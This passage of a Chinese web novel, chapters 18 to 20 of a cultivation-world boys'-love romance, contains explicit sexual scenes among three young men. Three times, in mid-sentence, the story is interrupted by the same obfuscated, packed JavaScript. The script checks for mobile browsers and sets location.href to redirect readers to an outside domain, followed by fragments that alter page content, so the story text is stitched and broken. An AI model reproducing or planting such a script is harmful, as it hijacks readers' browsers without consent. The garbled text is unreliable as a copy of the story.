他还想说什么,谢妄之忽然从油纸袋里取出一团水晶糕,伸臂递到他唇边:“别那么多废话。不是喜欢吃么,怎么不吃?这么多都不能堵住你的嘴?”
“……”白青崖一怔,下意识去看眼前的水晶糕。
只见晶莹剔透的一团,雕琢精致的花卉夹心清晰可见,被两根手指夹在其中。
那只手修长有力,骨节分明,手背黛青纹路微微浮起。稍宽的袖口往下滑落些许,露出手腕与一小截手臂。
他的目光不由自主凝在衣物遮掩的深处,随即很快又注意到对方半湿的黑发将雪色中衣洇出深色痕迹。衣领微敞,露出半片胸膛,肌肉紧致饱满,在烛火映衬之下仿佛浇了层蜜。
空气中清甜的花果香与冷淡的木香交织着侵入鼻腔,嗅之如饮酒,头脑都晕眩,竟令他一时间分不出两者谁更令人有食欲。
他又看向谢妄之的脸。
许是因为刚刚沐浴,脸颊染上薄红,未擦干的湿发还在滴水,沿着锋利颌角淌落脖颈。衬着英俊眉目,显出难言的欲色。
这副模样的谢妄之,他曾经见过。那时谢妄之正和裴云峰待在一起,微仰着头,眸光涣散,没注意到他。
他喉头滚了滚,犹豫了会儿正要张嘴,谢妄之却先没了耐心,把手抽回:“不吃就算了——”
谢妄之话未说完,一只手忽然紧扣住他手腕,猝不及防间,水晶糕从指尖滚落,取而代之的是两片干燥冰凉的唇。
他微微一怔,没有立刻把手抽回,那两片唇便轻轻开合,得寸进尺地含住了他的指尖,触感湿热柔软,仿佛将他的手指当作那团坠落的水晶糕。
18.第 18 章
白青崖喜欢吃的糕点砸落在桌案,却又衔住了一块新的,一寸寸吞入,用舌头轻舔。似是想要仔细品尝,又像是撩拨试探,缓慢而生涩。
谢妄之撑着头,没把手抽回来,眯着眼看那张清冷出尘的脸做这种事,会是什么风景,忽然坏心眼地勾了一下指尖,像是搅弄一潭春水。
“……”
面前人呼吸陡沉,长睫轻颤,双眸很快盈满水色,喉头不住轻滚,却强忍着没吐出来。直到谢妄之抽回手,拉出一道银亮丝线。
他还未及取出巾帕擦手,对方犹嫌不够,双手捧着他的手腕,伸舌去舔其余的指尖。
直到指根都被浸润,掌心也湿漉漉,白青崖才把手还给他。接着像是才反应过来自己做了什么,脸颊瞬间热烫,视线微微躲闪,余光却不曾离开。
“真是狗么?好吃吗?”
谢妄之嗤笑了声,取出巾帕正欲擦手,半途被人夺过代劳。甚至对方还起身绕到他背后,替他擦拭未干的头发。动作轻柔仔细,不曾扯痛他。
“看来有白二公子在,也不需带家仆。”谢妄之坐着任由对方动作,享受地眯眼。
白青崖始终没应他的调侃,沉默动作,耳廓红得滴血。纤长手指在他的发间灵活穿梭,散出灵力烘干他的头发,指腹偶尔轻触在他的耳廓,有意无意地停顿片刻。
直到谢妄之的头发已经变得干爽,甚至弄得他有些昏昏欲睡,白青崖仍抓着他一缕发丝,在他合眼之前忽然出声:“那之后,你还和裴云峰在一起么?”
“……嗯?”谢妄之犯困,有些恍惚,一时间没反应过来白青崖在说什么。
却叫人误会。
“你……”
白青崖蹙眉,眼神微冷,伸手按在他肩膀,五指用力收紧,皙白手背浮起道道青筋。
刚张口想说什么,窗外的黑沉天空骤然亮了一瞬,雷声滚滚而来,随后一场暴雨接踵而至,打得窗扇噼啪作响。
屋内点的红烛被狂风吹熄,夜色侵入似浓墨晕染,身后那人的双眸却幽幽发着绿光,像是夜晚在深山中遭遇的恶狼。
肩骨传来锐痛,谢妄之不悦蹙眉,毫不客气拂开按在肩上的手,正欲起身,却被人重新按住肩膀,牢牢压在凳上。
他眉头蹙得更深,向后侧头,微仰起脖颈。未想到,眼前猝然笼下一片阴影,一只手掐着他的下颌迫他抬头,炽热吐息淋在脸上,又攫住他的唇。
谢妄之猝不及防,双眸睁大,却在感觉到对方只是贴着他的唇,好像完全不知还能做什么,心头腾起的火一下又熄了。
他立时反客为主,伸臂搂住对方脖颈,微微使力把人拉下来,又迫使对方跪到地上,如方才的他一般,只能仰着头求他施舍。
他坏心眼地逗弄,细致描摹着对方的唇线,若即若离,把人逼得伸手捉住他的衣襟,本能迫切地想要纠缠、深入,却忽然毫不犹豫抓着对方的头发把人扯开。
白青崖方才说的,他想起来了。
眼前这人生得仿佛不食人间烟火,性子竟也如天上月一般清高。
分明与裴云峰一样,是与他相识多年的好友,却在意外撞见他和裴云峰的那档子事儿之后,毫不犹豫疏远了他,此后看他的眼神总是带着冰冷的厌恶。
谢妄之这样心高气傲,哪儿受得了,对方疏远他,他也绝不再靠近半步。于是两人近乎绝交。
但在谢妄之做的那个梦里,白青崖是后来他出事时,唯一替他说话的人。
许是梦境太过真实清晰,令他颠倒了虚实,醒来后以为自己还处在故事的后期,只记得白青崖为他说话,对方并非真的讨厌他。
却忘了曾经白青崖为什么疏远他,也忘了现实的这个时间点,他们正在吵架。若非如此,在酒楼遇见白青崖时,谢妄之根本不会追出去。
可即便这样,谢妄之还是想逗弄白青崖,甚至更想逗弄他。
“若是我还和他在一起,你当如何?这次怎么不躲了,是想同流合污吗?不清高了?”
谢妄之伸手勾起白青崖的下颌,拇指指腹压在对方唇瓣轻轻摩挲。才被舔过的唇湿润晶亮,似蹂躏一朵殷红馥郁的花。
“……”对方沉默地任他动作,却微拧起眉心,神色挣扎,呼吸紊乱。
等了片刻,谢妄之失了耐心,把人松开。
下一瞬,手腕被人攥住,掌心贴上柔软细腻的脸颊。
“谢妄之……不要别人,只给我……”
白青崖偏头轻蹭他的掌心,低哑着嗓音哀求,眸光微微颤动,眼尾绯红。说着又偏头亲吻他的掌心与手指,动作小心又讨好。长睫垂下,一缕湿痕滑过。
分明生得清冷如月,此刻却似坠入水中,触手可及,任人撩拨。
感受到掌心被一点温凉濡湿,谢妄之不由蜷了下指尖,难以言喻的痒蔓到胸口。
他轻滚了下喉结,指腹轻抚对方的眼尾,却恶劣地勾唇追问:“只给你什么?”
“……”对方身体微僵,呼吸陡然凝滞,而后变得粗重,更加热烫的温度从掌心处传来,几欲灼人。
谢妄之耐心地多等了一会儿,竟看见白青崖向他膝行凑近,跪在他身前,轻颤着手指一点点解开他的衣带,而后伏了下去。
他轻轻挑眉,没有阻止。
胸口微凉,又缓慢淋下一阵湿热柔软的雨,煨得下腹发烫。
屋外雨势渐大,窗扇被打得起伏摇晃,水声绵延不断。
谢妄之微喘着气,低垂下头,手指穿进柔软的乌发,无意识攥紧。雪色中衣挂在臂弯,胳膊肌肉收紧,浮起黛青色的丝线。
正在紧要关头,屋门忽被轻轻叩响:“公子,睡下了?奴能进来么?”
谢妄之猛抬起头,手指加大力道,下意识想把人扯开。对方却不肯,甚至迫他出声。
虽已尽力捺下,但仍逃不过屋外之人的耳朵。
只听见嘈杂雨声中夹着一声极轻的笑,无端令人毛骨悚然。
下一刻,屋门被从外打开,一身白衣的少年站在门外,步履轻缓地走近,乌发汹涌疯长,末梢瞬间垂坠在地,似雾般飘动膨胀。
少年站在不远处沉默地看他,唇角微勾。紧接着,夜空骤然亮起一瞬,雷声在耳畔炸响。
借着这一瞬的光亮,谢妄之看清少年浓墨般的双眼,黑色的蛛丝爬出眼眶,蔓延了整张脸。颊侧染血的梅花开得正艳,却被封入蛛网般的牢笼。
诡谲靡丽的妖孽。
谢妄之心头重重一跳,五指猛地攥紧,竟把自己交代出去。
少年似是察觉什么,又是很轻地笑了声,声音仿佛近在咫尺,呼出的气息尽数打在耳畔,传来微微的湿凉触感,似鬼魅惑人。
而白青崖在此时站起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773225|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,颀长身形将谢妄之挡得严严实实,回头瞥向池无月,重重滚了下喉结,又抬手轻抹唇角,意有所指地嘲讽:“没见你家主人忙着么?真没规矩。”
“抱歉,是奴先前侍奉公子不周,这才累及旁人。”少年乖顺低头认错,接着向窗边走去,伸手将大开的窗扇阖上。
闻言,白青崖面色陡沉,双拳紧攥。
少年却不管他,又折回来,目光在谢妄之身上某处停滞一瞬,又克制地移开视线,轻声道:“雨下这般大,公子可要将门窗关好,小心邪物趁势侵入。”
“……”白青崖眼神更冷。
“公子早些休息,奴退下了。”
池无月又微微一笑,说罢竟没有过多纠缠,很快退了出去。屋中分明还是没有点灯,却觉比少年在时明亮些许。
谢妄之喘息未定,而白青崖分明才被哄好,此时面沉如水,待人一走,猝然伸手掌住他的后脑往回一扣,倾身攫住他的嘴唇,呼吸烫得像燃了火,要将他烧尽。
鼻腔充斥着潮热粘稠的气息,却莫名未叫他反感。谢妄之仰着头任由对方亲吻,直到舌尖发麻发痛都未喊停,涎水止不住流淌,只觉才褪下的热烫又烧起来。
白青崖退开些许,低头瞥见,又在他唇上落了一吻,像是撒娇,用鼻尖轻蹭他,软着声道:“谢妄之,你才说过只给我,不能反悔……”
“嗯。”谢妄之浅淡勾唇,声线慵懒微哑,伸手掌住对方后脑往下按,“给你。”
*
白家规矩多,其一便是世家子弟参与游学时不能带家仆。谢妄之虽被伺候惯了,但也觉得没什么所谓,翌日一早简单交代了两句,便要和白青崖前往白家。
对方在他屋中宿了一晚,司尘见他们同进同出很不高兴,没等他把话说完直接变成蝴蝶,头也不回地不知飞到哪里去了。
而池无月早就知道,反应不大,还乖巧道:“公子路上小心。”
谢妄之应了声“嗯”。
其实这两人都不需他担心,甚至没准会偷偷混进去。当然,混进去他也是无所谓的,只要不给他惹麻烦就行。毕竟不是在谢家的地盘,两只妖堂而皇之在眼前晃来晃去,无疑是种挑衅。
各世家组织游学的内容各有不同,而白家的风格是比较系统,由浅入深,第一课便是从介绍修道最基础的理论及其发展历史开始。
这样太简单的课,谢妄之向来是不听的,若是在谢家,他逃就逃了,但在白家,他必须得掂量掂量后果——晚饭没肉。
此时此刻,跟着一大帮人坐在教室里的谢妄之有些煎熬,懒得做笔记,睡也睡不得,百无聊赖,一会儿玩书一会儿玩笔。余光瞥见同桌的白青崖还空出一只手,便毫不客气地抓起人手指就玩。
白青崖无奈瞥他一眼,倒也没把手抽回来,不知想到什么,耳廓有些红。
谢妄之正低头仔细观察对方的掌纹,眼前忽然落下一根黑木戒尺,重重拍了一下他的桌案,沉声道:“谢妄之,你在做什么?”
闻见熟悉嗓音,谢妄之抬头,正对上裴云峰愠怒的眼。
对方正死死盯着他捧在手中的别人的手,换下了华贵紫衣,肩上别着一枚精致的徽章,镌刻着“白”字,下边还有一行小字说明。
谢妄之眉峰微挑。
不是,你一个姓裴的,没事当什么白家游学的助教?
19.第 19 章
来白家游学的不光有世家子弟,还有诸多散修,谢妄之是年轻一辈中的翘楚,有关他的风评虽呈两极分化,但他确实算是炙手可热的人物。
而裴少家主与谢妄之地位等同,但不同的是,他在外装得人模人样,素有“宽厚仁慈”的美名。此次由他担任白家游学的助教,虽然莫名,但不少人都窃喜,以为在他手下一定不会难过。
未想到,“宽厚仁慈”的裴助教,竟然第一天、第一节课就发难!
是以,裴云峰敲一下戒尺,教室里几十双眼睛顿时齐刷刷望过来,有担忧不解的,有纯看热闹的,还有幸灾乐祸的。
谢妄之扫了眼,微微蹙眉。虽然不是太在意风评,但也无意暴露他们过密的关系,便装模作样地继续看掌纹,扯谎道:“刚找符修学了算卦,借我们白二公子练练。”
“嗯。”白青崖配合点头。
两人大庭广众之下举止亲密就算了,此时还一唱一和的,裴云峰不由面色更沉,来回狠狠剜了眼两人,险些维持不住平常的伪装。
他深吸口气,语气平稳道:“算卦何时都能算,二位现下还是仔细听课为好,这也是对先生的尊重。”像是害怕谢妄之再干出什么来气他,说完转身就走。
被这么一打岔,白青崖的手玩不下去了,谢妄之便给人还回去,执笔在书卷上随意写写画画。
白青崖听着课,余光瞥见谢妄之在画着什么,神色无比专注,不由心中一动,悄悄凑近了些,往他笔下觑了眼。
却见对方画的是一幅人像,身姿颀长,轻裘缓带,没有五官,只有一痕微勾的嘴角。
看到谢妄之笔下一顿,他赶忙收回目光,装作认真听课的模样,手指翻过书页,又作势提笔随便写了几个字。
他装作很忙,然而谢妄之根本没看他,只是停下思考了会儿又继续画。
余光瞥见对方落笔的位置正是人像的脸部,白青崖一怔,胸口顿时像是有一根狗尾巴草疯狂在挠,有些坐立难安。
然而直到放学,他都没有再找到机会偷看谢妄之画的什么。眼见对方要把书卷收起来,他忙道:“谢妄之,等等,我有个问题没听明白,能借你的——”
不等他把话说完,裴云峰忽然站上讲台,扬声道:“诸位请留步,今日的作业是考察大家的课堂笔记,请各位有序把课本交到我这里来。”
白青崖:“……”
他蹙眉看向裴云峰,果然对上人充满恶意的得逞眼神。
而谢妄之没管那么多,随手把课本丢给白青崖道:“帮我交了。”
白青崖心中一喜,正要趁势翻开谢妄之的课本,忽有一只手伸过来,一把将课本抢了去,还道貌岸然地微笑道:“白二公子的作业想必完成得很好,不必借鉴他人。”
说罢,裴云峰也顺势将他的课本一并抽走,扬长而去。
*
沐浴后本该就寝,谢妄之忽被裴云峰以“作业不合格”为由请到静室思过。
白青崖本想跟着进去,但出入静室有规矩,未经允许不得擅入,便被拦在外头,搬出尊贵身份都不好使。
白家主府依山傍水,静室更是建在清幽之地。
此时圆月高升,古朴的青石板路如流水般蜿蜒向竹林深处,道旁亮起两盏淡金色的灯,吸引了些虫儿飞舞。
谢妄之没太把这件事放在心上,也大致猜出裴云峰想做什么,心中哂笑,沿路直走,很快便到了。
静室里摆设简单,换下华贵紫衣的裴云峰只着一件素色深衣,外罩竹青色大袖,坐在矮几边的蒲团上,手执一本书卷翻看。
成名许久的少家主,即便衣着朴素,举手投足间都自有一股矜贵气,轻拈着书卷页脚的手指莹润光洁,上等的羊脂白玉都无法媲美。
谢妄之瞥见,眉峰轻轻一挑,忍不住勾唇调侃:“怎么,这架子白日还没端够么?忽然当上助教,可给你神气坏了。”
对方没应声,并决意把架子端到底,慢条斯理从书卷中撩起眼皮瞥向他,随意将书卷往矮几上一放,摊手往对面示意,淡声开口:“谢二公子,请坐下说话。”
“……”谢妄之轻嗤了声,还是依言坐到裴云峰对面。
视线落到桌案那本摊开的书卷,只见一幅人像大剌剌画在上头,喧宾夺主,把底下印刷齐整的字都盖了过去,人物手中的一柄长剑更是横贯左右,谢妄之这才发现裴云峰方才看的是他的课本。
而裴云峰也伸指轻点了点那幅画,双目紧盯着他,开门见山问:“这画的是谁?”
谢妄之并未马上回答,抬眸与人对视片刻,只见对方呼吸微滞,身体僵硬,是肉眼可见的紧张。
他唇角勾起恶劣的笑,低声反问道:“你觉得是谁?”
“呵,谁知道呢?大概又是你哪位藏起来不让我见的相好吧。”裴云峰冷笑了声,又撇过头,语气生硬而艰涩,“……反正不是我。”
谢妄之一顿,没忍住道:“你将我当成什么了,我哪来那么多相好?”
裴云峰冷笑,回头看他,眼神锋锐得几乎能在他身上剜下一片肉,咬牙切齿道:“某些人总是拈花惹草,还完全没有自知之明。”
“……”
谢妄之无言以对,索性转移话题:“所以你就是为了看我画的是谁,才故意把大家的课本收上来是吧?”
见对方眼睫微颤,他唇角勾起的弧度略略扩大,压低嗓音续道:“还有先前也是。原来助教不是大家的助教,只是盯着我一人看么?这么在意我?”
“……”
裴云峰撇过了头,鼻腔轻轻溢出一声冷哼,隐在发间的耳廓染上薄红,过会儿才回击道:“当我乐意么?你以为人人都像你一样,偏要人管着才能安生?”
“呵,那你闲得没事当什么助教?不会也是为了我吧?等下,”谢妄之嗤笑了声,又微微蹙眉,不解也不满,“你凭什么能当助教?”
“……确定是下任家主才有资格。”裴云峰选择性忽略了他第一个问题。
“那也该是白青崖他哥吧,凭什么是你?”
“凭什么不能是我?”裴云峰不悦蹙眉。
“……”
其实谢妄之知道这个规则,毕竟在谢家就是由谢霁当助教主持大局。但是……
明明以前是平起平坐的,他们还一起逃过课,互相借鉴过作业,现在忽然莫名其妙被压一头,甚至他逃课、作业写不好还要被对方亲自处罚……
谢妄之不喜欢这样。
他没再继续这个话题:“那你大老远把我叫过来,就是为了问我这个?”
“你还没回答我。”
裴云峰眉心蹙得更深,随即垂下眼睫,置在矮几上的手轻轻蜷了起来,嗓音微哑,“……你们认识多久了?你很喜欢他么,连上课都要画他。”
“……不是。”
见对方当真在意,还擅自联想众多,把自己弄得这么可怜委屈,谢妄之无奈又好笑,只好坦诚相告道:“我就是随便画的,我也不知道是谁。”
“当真?”
对方立时惊喜抬眸,见他点头,又一瞬恢复矜持,拳头抵唇轻咳了声,淡然道:“哦,我还以为又是哪个良家子被你祸害了。”
“……还有事没?”谢妄之有些不满,耐心也即将告罄。
“你这么急着走,要去做什么?”听人屡次催促,裴云峰面色陡沉,忽然想到旁的事,冷笑了声,语气锐利,“又要去给白青崖算卦了?”
谢妄之没应,他自顾把话接了下去,声音像是从牙缝里挤出:“大庭广众之下,两个男人手牵着手,成何体统?你们何时变得那么亲密了?”
“……”谢妄之蹙眉。
“我听人说,白青崖昨日夜不归宿,而你们今早一同过来,”裴云峰微笑,眼神却刺骨,“谢妄之,你知道他昨夜去了哪里吗?”
“……呵,知道啊。”谢妄之默了会儿,也跟着笑,双目紧盯着对方,语气冷静又恶劣,“我知道得一清二楚,要我说与你听么?我和他——”
“谢妄之!你最知道怎么气我!”
闻言,裴云峰彻底憋不住,勃然大怒、怒不可遏,猛地伸手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14776273|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一拍桌案,向前倾身,像是要扑过来咬他,胸口剧烈起伏。却是色厉内荏,嗓音低哑,细听还有些哽咽。
“我……”
瞅见对方眸光颤动,浓密眼睫被润湿得黏连了几簇,谢妄之声音一顿,随后低垂下头没再说话。
对面也沉默,传来的呼吸渐渐变得粗重而紊乱,像是要压抑什么,忽然长长地吸气,却又憋不住地猝然中断,发出一声短促的呜咽。
谢妄之猛然睁大眼,浑身僵住,缓慢抬头,却见人飞速转过身去,只给他留一个背影,肩膀微微耸动。
他不由有些慌乱,手指攥紧,张了张嘴,“喂,裴、裴云峰,你别……”
对方却不理他,过会儿才哽咽着控诉道:“明、明明是,是你要招惹我,为什么……”
谢妄之哑口无言,又深深埋下头。
确如对方所说。
早些年,裴、谢两家关系亲近,他与裴云峰年纪相仿,自幼相识,一起长大,关系好到能同穿一条裤子。
那时候裴云峰是“别人家的孩子”,不需伪装,天生矜贵而端正,天赋异禀而修炼刻苦,是同辈世家子弟的榜样,无出其右。
而谢妄之是庶出,生母病逝后被过继给大房,但没人将他当回事,自然也无人管教,只有谢霁偶尔抽空照顾他。
后来他意外遇见时常来做客的、隔壁家那个心肠软的小公子裴云峰。他心生嫉恨,故意亲近哄骗对方与他作伴。而小公子也果然良善,与他成为好友。
直到他长到十岁,忽然展露超绝天赋,修为一日千里,甚至盖过了当时风头最盛的裴云峰,他才被人敬为“谢二公子”,此后也一直稳压裴云峰一头。
有好事者将他们放在一起比较,甚至当面揶揄调侃,试图挑拨离间。裴云峰毫不计较,与人亲密依旧。而谢妄之从不令自己委屈,一一教训。
十五六岁,正是少年春心萌动时。他们开始参与世家游学,认识了很多不同成长背景经历的人。那些人良莠不齐,他们也无法避免地接触了或好或坏的东西。
某日,少年们聚众观摩赏玩不知从哪弄来的一堆新奇玩意儿,其中竟混了部有关龙阳之好的图册。
其画工之精湛、台词之粗鄙、剧情之荒谬、感情之缠绵令众人面红耳赤、恼羞成怒、一哄而散,此后很久不再举办类似聚会。
随着时间流逝,众人逐渐淡忘。唯独裴公子时常午夜梦回,历久弥新,还擅自将其换了主角。最后此事竟演变成心障,阻碍了他修炼。
而同伴依旧进境神速,两人间的差距逐渐拉大,自卑羞愧与嫉妒不甘又加剧他的心障,恶性循环之下,他不得已疏远对方。
虽然情况未有好转,但勉强可控。可惜长此以往,再是天才到最后也只会泯然众人。他开始自暴自弃,未想到,被他疏远的人竟在此时主动贴上来。
少年已长成翩翩公子,站在花荫之下,俊朗眉目比日光还耀眼,竟叫他不敢直视,低着头只想躲避锋芒。
对方却上前挑起他下颌,高傲又狂妄地道:“我能帮你。”
话音落下的瞬间,馥郁花香随温软湿热涌入。他剧烈喘息着,不停发抖,颤着手紧捉住对方衣襟,似快要溺毙的人抓紧水中的浮木。
一吻毕,他眼中只剩下那两片湿润晶亮,浑身热烫得快要晕厥,像脱水的鱼一般喘不过气,却固执地不肯松手,又贴了上去,一次比一次贪婪狂热,直到痴迷。
心障破碎,修为再度进境。
他却清楚地知道,破碎的心障之后,又升起一面更高大的围墙。
而此时此刻,谢妄之无意把人惹哭,攥着手指不知该如何是好。
却听对面忽然问:“你们做了什么?到哪儿了?”
“……啊?”
谢妄之茫然抬头,却见对方不知何时凑到他面前。明明一张脸上还爬满泪痕,湿润眼睫都黏连,表情却变得冷峻。
“没做什么,不是你想的那样。”他没再逗弄对方,诚实摇头。
裴云峰却不信,蹙着眉坚定道:“不,我要检查。”
20.第 20 章
裴云峰说着就伸过手来,要解谢妄之的衣带。
谢妄之怔了一下,下意识挥手把人打开,“你要检查什么?”
除此次在白家游学之外,他们分明平起平坐,又非课业,何来“检查”?这个说辞令他不舒服,不由面色微沉。
“……对不起,是我越距了,你别生气。”
似是才反应过来,裴云峰微微一僵,而后乖顺地低下头,眼角又滑过一道湿痕,嘴唇紧抿着,微微向下撇。
“不是,你、你别……”
谢妄之瞥见那副可怜委屈的模样,指尖一蜷,视线垂落时又注意到对方手背被他打出红印,白皙肤色一衬便更加明显。
他张了张嘴,但搜肠刮肚不知该说什么找补安慰,只好激将道:“大名鼎鼎的裴少家主被人弄哭了,说出去谁信。”
“……谢妄之,就给我看一眼,好不好?”
对方无动于衷,仍是垂着头,微微哽咽,脸上泪痕交错,眼尾泛红,瞧着格外惹人怜惜。
谢妄之沉默,双拳攥紧又放松,如此挣扎片刻,终于叹气妥协道:“好,好,给你看,别哭了。”
话音落下,裴云峰立时抬头,湿润双眸紧盯着他,手足并用缓慢向他膝行凑近,脑后随意挽起的乌发垂落在胸前轻晃。
“你让他,碰了你哪里?”
裴云峰伸手解他的衣带,指尖颤抖,声线也不复白日平静沉稳。
而谢妄之只觉羞恼,沉默坐着,任由衣物滑落挂在臂弯。
只见红梅盛开大片,从上至下,纷繁杂乱,艳丽得几乎能刺痛双眼。
裴云峰面色陡沉,紧盯着红梅开得最繁盛的胸口,几乎将银牙咬碎,颌角微鼓,冷声质问:“谢妄之,你不是说你们什么都没做么?”
“这不是才……”
谢妄之想起曾经看过的那本图册,与之相比,他和白青崖才哪儿到哪儿。但触及对方的锐利眼神,他说一半又闭上嘴。
昨夜上榻之后,白青崖又缠着他亲吻好久,弄得他不能安睡。
简直就像是一条狗,对他又亲又舔,从嘴唇到脖子、胸口,再到下腹,不住往返留连。
只是稍微回想一下,身上似乎又被一阵热雨淋过,湿漉漉。
“……好了吧?”
空气沉寂下来,对方视线在他身上来回逡巡,令谢妄之愈加羞恼,稍微等了会儿便要将衣物重新穿好。
若是跟平常做的一样就罢了,光让裴云峰看别人在他身上留下的痕迹算怎么回事。
他衣袖才拉起一半,忽被人攥住手腕制止,玉白指尖顺着他的手臂缓慢上移。
似一阵微风轻掠过,痒得谢妄之忍不住发抖,反手攥住对方,蹙眉道:“干什么,不是说就看一眼么?”
“……是,可是还没看完。”
裴云峰止住动作,乖乖任他攥着,意有所指轻瞥了眼他的下腹,眼神幽暗,喉头轻滚。
“休想。”
谢妄之毫不犹豫把人甩开,却见对方变戏法似的很快又垮下脸,甚至泪盈于睫。
他不由睁大眼,气得发笑,咬牙道:“裴云峰,几日不见,长能耐了啊。我以前怎么没发现,你还有这收放自如的本事呢?”
“谢妄之……”
裴云峰像是听不懂嘲讽,吃准他心软,仍是可怜又委屈地看他,模样真得不像假的。
“……”
仿佛一拳打在棉花上,谢妄之与人对视片刻,到底败下阵来,忍不住抬手轻捏了捏眉心,“够了,没必要看,我们没做什么,真不是你想象的那样。”
话都说到这份上,裴云峰看也看了,也该识时务地不做纠缠了。
未想今夜对方格外倔强,甚至与白青崖较上劲儿,坚定地摇摇头,“那他对你做了什么,我也要。”
“呵。那他是狗,你也是狗吗?”谢妄之哂笑,没应,自顾穿衣。
见他始终不肯,裴云峰似是放弃了,往后退开些许,微垂下头,神色落寞。
却祭出杀招:“你明明说过会帮我破除心障的,可是自从——我们已经很久没有灵修过了……我也不想麻烦你,可是,这里有时候会好疼。”
说着还伸手轻轻抚了下自己的胸口,眉心微拧,煞有介事。
年少时的裴云峰生了心障,常会胸口疼,却从不在谢妄之面前显露一二。明明心障因他而起,却不叫他发现,自顾疏远。
直到谢妄之察觉异常,对方还试图遮掩,却不知道自己垂下头时,颤动湿润的眼睫已经暴露。
谢妄之便是从那一刻开始心软。
而此时听人这么说,他分辨不出真假,又狠不下心立刻回绝,不由沉默下来,不知该作何反应。
置在膝上的手忽被人轻轻捧起,掌心贴在对方胸口,心跳向指尖清晰递送,蓬勃有力,却过速失衡。
紧接着,他的手又被牵着覆上对方脸颊,掌心贴住一片细腻湿润。
裴云峰轻拧着眉,盯着他的双眼眸光潋滟,似是不习惯这样袒露真心,声音低哑颤抖,说得磕绊,像是撒娇又像是控诉:
“谢妄之,我也想要,不可以吗?我们那么久没亲近过了,我一直都……但是你、你……难道你就一点也不想我么?难道只有我一个人……”
对方说着又哽咽,谢妄之的手指恰落在对方眼尾,感觉到一点湿热,惊得他下意识把手抽回。
可那滴雨还是落在他指尖,变得温凉,却灼烧着他的胸口。
上一次和裴云峰灵修,是在白青崖故意疏远谢妄之之前。
白青崖疏远谢妄之时,他已经烦躁,裴云峰还总是揪着一个小奴隶不放,强硬要求他怎么做,时常与他争执,弄得他更加心烦。
最后一次争吵,两人不欢而散。裴云峰几乎从未被谢妄之这样对待,也赌气地疏远谢妄之,就连在谢家游学,也尽可能避免与人碰面,就算避不开也要故作冷漠。
但裴云峰赌气不肯低头,谢妄之就更不会了,甚至表现得根本无所谓,显得自顾赌气的他更加可笑可怜。
他更加恼火,恰逢弟弟们与那个该死的奴隶有了些矛盾,来找他告状,他便借此名正言顺去找那个奴隶的麻烦。
可惜最终也讨不了好,他“自损一千,而敌毫发无伤”,又生气又委屈又嫉妒,却无计可施,无可奈何。
而以谢妄之的角度,既然裴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14783831|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云峰已经疏远他,他又从梦中得知裴云峰会背叛他,自然不肯再与对方亲近。
但毕竟相交多年,“背叛”还未实际发生,裴云峰还这副模样,令他一时半会儿做不到彻底的绝情。
但他不知道的是,会背叛他的裴云峰并非一夕间变得如此。早在他毫无察觉时,少年裴云峰生出心障时已与过去的自己渐行渐远,直到变得自私而卑劣。
譬如此刻,对方已学会利用他的心软。
见谢妄之还是犹豫,裴云峰轻扯了下唇角,似是自嘲苦笑,偏过头看向了别处,长睫垂下时,眼泪瞬间汹涌。
而后谢妄之伸手握住了他,温热指腹轻轻擦拭他的眼角,像年少时那样,挑起他的下颌,倾身吻他的嘴唇。
“……”
裴云峰陡然睁大眼,像是害怕惊扰一场美梦,浑身僵硬,克制不住地发抖,呼吸都凝滞,紧盯着近在咫尺的眉眼。
他还未反应过来,对方已经退开。他一惊,猛地攥住对方衣袖挽留,急急唤道:“谢妄之!”
“说了多少次,闭眼。”
眼前忽然覆上一只手掌,谢妄之顿了顿,在他耳边轻叹口气,低声道:“我不走,别怕。”
“……嗯。”
他顿觉脸热,故作矜持地应了声,而后听话地合上眼睑,在黑暗的世界里摸索着捉住对方衣襟才感觉安心了一点。
嘴唇再度覆上柔软,齿关被轻柔撬开。他顺从接纳,克制地小心翼翼地纠缠,却逐渐变得贪婪,直到反客为主。
衣物滑落,在身侧凌乱堆叠,他顺着对方的脖颈往下,重新种了一树红梅,企图将原先的覆盖。
直到他双膝跪地,仰起头,又看到一大片盛开得更艳丽更灿烂的梅花,星罗棋布,密密麻麻,红得几乎灼伤眼眸。
他死死盯着那处,呼吸紊乱粗重,不知名的火焰腾地窜起,快将他的理智烧尽。
灵修时需尽可能地肌肤相触,灵力会沿着相贴处流向对方,直到彼此相融。
类似修者相互斗法切磋,灵修是本源灵力间的交流,更加直接。若是双方十分契合,更是事半功倍。但若非完全信任接纳,不可轻易为之。当然,再往上,还有神交,要求也更严格。
年少时,谢妄之答应帮他破除心障后,他们在灵修时已尝试着探索过彼此,但从未进行到最后一步。
